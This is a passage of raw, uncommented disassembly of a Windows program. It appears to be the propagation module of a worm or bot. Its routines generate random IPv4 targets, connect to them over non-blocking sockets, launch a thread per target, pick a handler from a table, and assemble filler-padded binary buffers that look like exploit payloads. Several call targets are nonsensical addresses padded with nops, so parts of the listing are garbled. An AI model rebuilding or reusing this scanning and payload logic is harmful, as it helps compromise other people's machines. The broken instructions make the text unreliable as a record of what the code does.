dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41AFE0 cmp eax, 0Fh pop ecx jbe short loc_40C013 xor eax, eax jmp short loc_40C084 ; --------------------------------------------------------------------------- loc_40C013: ; CODE XREF: sub_40BFEB+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41C645 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C040 call sub_41B8E2 mov [ebp+var_C], eax loc_40C040: ; CODE XREF: sub_40BFEB+4Bj cmp [ebp+var_8], esi jnz short loc_40C04D call sub_41B8E2 mov [ebp+var_8], eax loc_40C04D: ; CODE XREF: sub_40BFEB+58j cmp [ebp+var_4], esi jnz short loc_40C05A call sub_41B8E2 mov [ebp+var_4], eax loc_40C05A: ; CODE XREF: sub_40BFEB+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C066 call sub_41B8E2 loc_40C066: ; CODE XREF: sub_40BFEB+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4CB770[ecx*8], eax loc_40C084: ; CODE XREF: sub_40BFEB+26j pop esi leave retn sub_40BFEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C087 proc near ; CODE XREF: ___:0040B8FAp ; sub_40C124+BBp var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4CB6A4 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C0B0 xor eax, eax jmp short loc_40C11F ; --------------------------------------------------------------------------- loc_40C0B0: ; CODE XREF: sub_40C087+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4CB624 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4CB6C0 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4CB5CC mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4CB60C push esi mov edi, eax call dword_4CB6BC xor eax, eax cmp edi, ebx setnle al loc_40C11F: ; CODE XREF: sub_40C087+27j pop edi pop esi pop ebx leave retn sub_40C087 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C124 proc near ; DATA XREF: sub_40C124+353o var_29C = dword ptr -29Ch var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_1CC = byte ptr -1CCh var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_14C = byte ptr -14Ch var_140 = byte ptr -140h var_13C = byte ptr -13Ch var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax nop call near ptr 26905CDh push eax call sub_41B8D8 mov ebx, esi pop ecx imul ebx, 234h loc_40C16B: ; CODE XREF: sub_40C124+204j mov eax, dword_43E564[ebx] cmp dword_4CB774[eax*8], 0 jz loc_40C32D cmp [ebp+var_10], 0 push eax jz short loc_40C195 lea eax, [ebp+var_150] push eax call sub_40BFEB pop ecx jmp short loc_40C19A ; --------------------------------------------------------------------------- loc_40C195: ; CODE XREF: sub_40C124+60j call sub_40BFA3 loc_40C19A: ; CODE XREF: sub_40C124+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_43E564[ebx] push [ebp+var_3C] push edi call dword_4CB6B0 push eax lea eax, [ebp+var_28C] push offset unk_432134 push eax call sub_41B886 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_43E360[ebx] push eax call sub_41B886 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C087 add esp, 14h cmp eax, 1 jnz loc_40C31D cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C271 push offset dword_4CD770 nop call near ptr 77F7E21Fh push [ebp+var_3C] push edi call dword_4CB6B0 push eax lea eax, [ebp+var_28C] push offset unk_43210C push eax call sub_41B886 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C253 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C247 lea eax, [ebp+var_140] loc_40C247: ; CODE XREF: sub_40C124+11Bj push eax push [ebp+var_40] call sub_409A72 add esp, 14h loc_40C253: ; CODE XREF: sub_40C124+100j lea eax, [ebp+var_28C] push eax call sub_4151AC mov [esp+29Ch+var_29C], offset dword_4CD770 nop call near ptr 77F7E300h jmp loc_40C31D ; --------------------------------------------------------------------------- loc_40C271: ; CODE XREF: sub_40C124+D0j push edi call dword_4CB6B0 push eax lea eax, [ebp+var_208] push eax call sub_41B886 mov eax, [ebp+var_20] pop ecx shl eax, 6 pop ecx add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41B886 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_40C2B6 lea eax, [ebp+var_140] loc_40C2B6: ; CODE XREF: sub_40C124+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_41B886 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_431ACC[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C31D: ; CODE XREF: sub_40C124+C6j ; sub_40C124+148j push 7D0h call near ptr 2680000h nop jmp loc_40C16B ; --------------------------------------------------------------------------- loc_40C32D: ; CODE XREF: sub_40C124+55j push esi call sub_40B412 pop ecx push 0 nop call near ptr 26E0A61h loc_40C33C: ; DATA XREF: sub_401ACD+1F81o ; sub_401ACD+5C48o push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4CB664 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4CB770[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40BACD push 0Bh call sub_40B33E add esp, 150h cmp eax, ebx jnz short loc_40C40A mov esi, offset dword_4CD770 push esi nop call near ptr 26F01E0h push 80000400h push esi nop call near ptr 26F0000h test eax, eax jnz short loc_40C40A lea eax, [ebp+var_1CC] push offset unk_432218 push eax call sub_41B886 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40C3F4 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A72 add esp, 14h loc_40C3F4: ; CODE XREF: sub_40C124+2B1j lea eax, [ebp+var_1CC] push eax call sub_4151AC pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C40A: ; CODE XREF: sub_40C124+27Bj ; sub_40C124+297j mov eax, [ebp+var_2C] mov esi, dword_427078 mov edi, ebx mov dword_4CB774[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40C4D7 loc_40C428: ; CODE XREF: sub_40C124+3ADj push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_4321E4 push eax call sub_41B886 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_40B0F6 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_43E564[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C124 push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_40C4A2 loc_40C497: ; CODE XREF: sub_40C124+37Cj cmp [ebp+var_4], ebx jnz short loc_40C4C9 push 1Eh call esi jmp short loc_40C497 ; --------------------------------------------------------------------------- loc_40C4A2: ; CODE XREF: sub_40C124+371j nop call near ptr 268082Fh push eax lea eax, [ebp+var_1CC] push offset unk_4321AC push eax call sub_41B886 lea eax, [ebp+var_1CC] push eax call sub_4151AC add esp, 10h loc_40C4C9: ; CODE XREF: sub_40C124+376j push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_40C428 loc_40C4D7: ; CODE XREF: sub_40C124+2FEj cmp [ebp+var_30], ebx jz loc_40C581 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_40C4EC: ; CODE XREF: sub_40C124+468j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4CB770[eax*8] push eax call dword_4CB6B0 push eax lea eax, [ebp+var_1CC] push offset unk_43216C push eax call sub_41B886 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40C53A push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A72 add esp, 14h loc_40C53A: ; CODE XREF: sub_40C124+3F7j lea eax, [ebp+var_1CC] push eax call sub_4151AC mov eax, [ebp+var_2C] mov [esp+29Ch+var_29C], 0BB8h mov dword_4CB774[eax*8], ebx call esi push 0Bh call sub_40B33E cmp eax, 1 pop ecx jnz short loc_40C571 push offset dword_4CD770 call near ptr 26F01E0h nop loc_40C571: ; CODE XREF: sub_40C124+440j push [ebp+var_2C] call sub_40B412 pop ecx push ebx nop call near ptr 26E0A61h loc_40C581: ; CODE XREF: sub_40C124+3B6j ; sub_40C124+475j mov eax, [ebp+var_2C] cmp dword_4CB774[eax*8], 1 jnz loc_40C4EC push 7D0h call esi jmp short loc_40C581 sub_40C124 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C59B proc near var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4CB624 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4CB6A4 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C659 lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CB5CC mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43E56C[ecx], esi jz short loc_40C659 push [ebp+var_38] push [ebp+var_28] call dword_4CB6B0 push eax mov edi, offset dword_4CE134 push offset dword_43224C push edi call sub_41B886 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_409A72 push edi call sub_4151AC add esp, 28h loc_40C659: ; CODE XREF: sub_40C59B+5Dj ; sub_40C59B+7Ej push esi call dword_4CB6BC pop edi xor eax, eax pop esi leave retn 4 sub_40C59B endp ; --------------------------------------------------------------------------- dword_40C668 dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh ; DATA XREF: sub_401ACD+603Eo dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h dd 1, 75FFFF33h, 0E075FFD0h, 0B6B015FFh, 8D50004Ch, 0FFFECC85h dd 227468FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh dd 50000001h, 69DC458Bh, 234C0h, 0E3600500h, 0E8500043h dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh dd 40C59Bh, 0E8905757h, 22739A8h, 4589C73Bh, 390B74FCh dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 4139E8FCh, 0FF900225h dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CB54Ch dd 45895040h, 2015FF08h, 89004CB6h, 458D0845h, 50046A08h dd 50E0458Dh, 0FBBFE8h, 0CC48300h, 0FFFF3DE9h db 0FFh byte_40C759 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5D4Eo dd 130EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 50BD8D59h dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h dd 75FFD475h, 0B015FFE4h, 50004CB6h, 0FED0858Dh, 0C868FFFFh dd 50004322h, 0F0E1E8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h dd 234C069h, 60050000h, 500043E3h, 0EE2BE8h, 1CC48300h dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h, 0E8575700h dd 22738B8h, 89C73B90h, 0B740845h, 75F87D39h, 0FF326A06h dd 0FFF5EBD6h, 0E8900875h, 2254047h, 8CB3FFh, 0BB890000h dd 0A8h, 458BD6FFh, 0D8453BD4h, 45FF0874h, 0FF6DE9D4h dd 75FFFFFFh, 0B015FFE4h, 50004CB6h, 0FED0858Dh, 9C68FFFFh dd 50004322h, 0F051E8h, 858D5700h, 0FFFFFED0h, 50EC75FFh dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh db 4, 0 ; =============== S U B R O U T I N E ======================================= sub_40C866 proc near ; CODE XREF: sub_40CADA+Ep ; sub_40CADA+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40C866 endp ; =============== S U B R O U T I N E ======================================= sub_40C870 proc near ; CODE XREF: sub_40CADA+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_41B4D5 mov edi, eax pop ecx test edi, edi jz short loc_40C8A2 push ebx push 0 push edi call sub_41B590 push ebx push [esp+1Ch+arg_0] push edi call sub_41C310 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40C8A2: ; CODE XREF: sub_40C870+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40C870 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8AA proc near ; CODE XREF: sub_40C9A4+18p ; sub_40CA1E+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_41B4D5 mov esi, eax pop ecx test esi, esi jz short loc_40C8F6 push edi push 0 push esi call sub_41B590 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_41C310 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_41C310 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40C8F6: ; CODE XREF: sub_40C8AA+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40C8AA endp ; =============== S U B R O U T I N E ======================================= sub_40C8FF proc near ; CODE XREF: sub_40C9A4+5Ep ; sub_40C9A4+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40C90F push eax call sub_41B0B1 pop ecx loc_40C90F: ; CODE XREF: sub_40C8FF+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40C8FF endp ; =============== S U B R O U T I N E ======================================= sub_40C918 proc near ; CODE XREF: sub_40C9A4+20p ; sub_40CA7F+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40C945 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C949 loc_40C945: ; CODE XREF: sub_40C918+Dj xor al, al jmp short loc_40C9A0 ; --------------------------------------------------------------------------- loc_40C949: ; CODE XREF: sub_40C918+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_41B590 add esp, 0Ch cmp ebx, 1 jnz short loc_40C96E mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40C988 ; --------------------------------------------------------------------------- loc_40C96E: ; CODE XREF: sub_40C918+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40C988: ; CODE XREF: sub_40C918+54j push eax call sub_41C310 add esp, 0Ch push dword ptr [esi] call sub_41B0B1 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40C9A0: ; CODE XREF: sub_40C918+2Fj pop edi pop esi pop ebx retn sub_40C918 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C9A4 proc near ; CODE XREF: sub_40CADA+89p ; sub_40CADA+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_4CB4DC call sub_40C8AA lea ecx, [ebp+var_8] call sub_40C918 mov eax, [ebp+var_4] inc eax push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C9DE xor al, al jmp short loc_40CA1A ; --------------------------------------------------------------------------- loc_40C9DE: ; CODE XREF: sub_40C9A4+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41B590 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_41C310 add esp, 18h mov ecx, esi call sub_40C8FF mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40C8FF mov al, 1 loc_40CA1A: ; CODE XREF: sub_40C9A4+38j pop edi pop esi leave retn sub_40C9A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA1E proc near ; CODE XREF: sub_40CA52+14p ; sub_40CA6F+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40C8AA mov ecx, esi call sub_40C8FF mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40CA1E endp ; =============== S U B R O U T I N E ======================================= sub_40CA52 proc near ; CODE XREF: sub_40CADA+F0p ; sub_40CADA+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41AFE0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40CA1E pop esi retn 4 sub_40CA52 endp ; =============== S U B R O U T I N E ======================================= sub_40CA6F proc near ; CODE XREF: sub_40CABB+Bp ; sub_40CADA+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40CA1E retn 8 sub_40CA6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA7F proc near ; CODE XREF: sub_40CABB+16p ; sub_40CADA+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40C918 test al, al jz short loc_40CAB8 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42CFAC call sub_40C8AA mov ecx, esi call sub_40C8FF mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40CAB8: ; CODE XREF: sub_40CA7F+Fj pop esi leave retn sub_40CA7F endp ; =============== S U B R O U T I N E ======================================= sub_40CABB proc near ; CODE XREF: sub_40CADA+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CA6F test al, al jz short loc_40CAD6 mov ecx, esi call sub_40CA7F loc_40CAD6: ; CODE XREF: sub_40CABB+12j pop esi retn 8 sub_40CABB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CADA proc near ; CODE XREF: ___:0040D361p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40C866 mov edi, 408h cmp [ebp+arg_8], edi jg loc_40CE2E mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40CE2E push esi lea ecx, [ebp+var_30] call sub_40C866 lea ecx, [ebp+var_20] call sub_40C866 lea ecx, [ebp+var_50] call sub_40C866 lea ecx, [ebp+var_18] call sub_40C866 lea ecx, [ebp+var_40] call sub_40C866 lea ecx, [ebp+var_38] call sub_40C866 lea ecx, [ebp+var_28] call sub_40C866 push 4 push offset dword_432300 lea ecx, [ebp+var_30] call sub_40CA1E push 3 push offset dword_432308 lea ecx, [ebp+var_30] call sub_40CA1E lea ecx, [ebp+var_30] call sub_40C9A4 lea ecx, [ebp+var_30] call sub_40CA7F mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "░B░B░B░B" call sub_40CA1E push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40CA1E mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40CA1E lea ecx, [ebp+var_20] call sub_40C9A4 push offset loc_432684 lea ecx, [ebp+var_50] call sub_40CA52 lea ecx, [ebp+var_50] call sub_40C9A4 push esi lea eax, [ebp+var_858] push 44h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40C870 lea ecx, [ebp+var_58] call sub_40C9A4 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40CABB lea ecx, [ebp+var_58] call sub_40C8FF push esi lea eax, [ebp+var_858] push 43h push eax call sub_41B590 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40CA52 push 4 push offset dword_43230C lea ecx, [ebp+var_18] call sub_40CA1E push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40CA1E sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40CA1E lea ecx, [ebp+var_18] call sub_40C9A4 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40CA6F push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40CA6F lea ecx, [ebp+var_40] call sub_40CA7F lea ecx, [ebp+var_18] call sub_40C8FF lea ecx, [ebp+var_50] call sub_40C8FF push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40CA6F push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40CA6F push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40CA6F lea ecx, [ebp+var_38] call sub_40CA7F lea ecx, [ebp+var_20] call sub_40C8FF lea ecx, [ebp+var_30] call sub_40C8FF lea ecx, [ebp+var_40] call sub_40C8FF push esi lea eax, [ebp+var_858] push 41h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40CA1E lea ecx, [ebp+var_28] call sub_40C9A4 push 2 push offset dword_432678 lea ecx, [ebp+var_28] call sub_40CA1E push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40CA6F lea ecx, [ebp+var_28] call sub_40CA7F lea ecx, [ebp+var_38] call sub_40C8FF lea ecx, [ebp+var_10] call sub_40C866 lea ecx, [ebp+var_8] call sub_40C866 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40CA6F lea ecx, [ebp+var_10] call sub_40C918 lea ecx, [ebp+var_28] call sub_40C8FF push offset dword_432674 lea ecx, [ebp+var_8] call sub_40CA52 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C918 lea ecx, [ebp+var_10] call sub_40C8FF push offset dword_432670 lea ecx, [ebp+var_10] call sub_40CA52 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40CA6F lea ecx, [ebp+var_10] call sub_40C918 lea ecx, [ebp+var_8] call sub_40C8FF push offset dword_432664 lea ecx, [ebp+var_8] call sub_40CA52 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C918 lea ecx, [ebp+var_10] call sub_40C8FF push (offset loc_43265F+1) lea ecx, [ebp+var_48] call sub_40CA52 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C8FF mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40CE3C ; --------------------------------------------------------------------------- loc_40CE2E: ; CODE XREF: sub_40CADA+1Bj ; sub_40CADA+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40CE3C: ; CODE XREF: sub_40CADA+352j pop edi pop ebx leave retn sub_40CADA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE40 proc near ; CODE XREF: sub_40CF04+A1p ; sub_40CF04+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah nop call near ptr 71AB1890h cmp eax, edi jnz short loc_40CEA7 lea eax, [ebp+var_10C] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_40CEAB loc_40CEA7: ; CODE XREF: sub_40CE40+54j xor eax, eax jmp short 